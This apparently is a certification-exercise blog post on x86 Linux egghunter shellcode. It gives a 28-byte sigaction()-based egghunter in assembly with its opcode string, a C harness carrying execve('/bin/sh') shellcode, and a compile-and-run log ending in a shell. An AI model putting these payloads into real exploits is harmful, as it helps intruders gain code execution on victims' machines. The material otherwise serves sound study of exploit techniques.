I've implemented the 3 methods described in the paper:
- access() - Small and robust egghunter using access(0 system call to check validity of addresses. Cons: size is 39 bytes and the egg needs to be executable because after finding it, the execution jump before the egg and continues on.
- access() revisited - smaller (35 bytes), minor speed improvements, egg does not need to be executable. Cons: sets DF flag in case of failure (in very rare cases this could impact the running of the host application)
- sigaction() - even smaller (30 bytes), robust and very fast (validates 16 bytes at a time). Cons: some very rare odd failure situation described in detail in the paper.
- sigaction() reloaded - the smallest version (only 28 bytes). I've replaced the double check for the egg with only one check. To avoid finding the egg in the comparison from the shellcode, I've applied a small transform before searching for it (inc eax in this case, but could be any other 1 bytecode operation also - e.g. shifting bytes).
global _start
section .text
_start:
or cx,0xfff ; page allignment
next_addr:
inc ecx ; Pointer to region to be validated
push byte +0x43 ; sigaction() syscall number
pop eax ; Syscall number in eax
int 0x80 ; Execut ethe syscall
cmp al,0xf2 ; Compare with EFAULT
jz short _start ; Go to next page
mov eax, <EGG> ; The egg
inc eax ; Egg modification. Avoid first find from above!
mov edi,ecx ; Prepare for comparison
scasd ; Compare
jnz short next_addr ; Jump to next address
jmp edi ; Jump to shellcode
To test it I've used the following C program simulating a real payload:
[ filler ] [ egghunter ] [ garbage ] [ shellcode ]
#include <stdio.h>
#include <string.h>
#define EGG "<EGG>"
unsigned char sled[] = "Some misc bytes here";
unsigned char egghunter[] =
"<EGGHUNTER>";
unsigned char garbage[] = "Garbage, mangled bytes, whatever";
// execve(/bin/sh,..) shellcode here
unsigned char shellcode[] = EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// Function pointer
typedef int (*func_ptr)();
void main() {
printf("Egghunter length: %d bytes\n", strlen(egghunter));
printf("Shellcode Length: %d bytes\n", strlen(shellcode));
((func_ptr) egghunter)();
}
The egg is configurable, and the compilation takes place from a wrapper script:
$ ./compile.sh
Usage: compile.sh {4 chars EGG mark}
E.g.: compile.sh W00T
$ ./compile.sh BUBU
[*] Using egg BUBU
[*] (Modified) Egg hex:, 0x55425542
[+] Replace egg with, BUBU
[+] Assembling egghunter
[+] Linking egghunter
[*] Egghunter:
\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x42\x55\x42\x55\x40\x89\xcf\xaf\x75\xeb\xff\xe7
[+] Compile shellcode tester
[+] House cleaning
[+] Done! run ./shellcode
$ ./shellcode
Egghunter length: 28 bytes
Shellcode Length: 29 bytes
$ whoami
liv
$
The complete source files and scripts mentioned can be found in the Git repository:
SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449
No comments:
Post a Comment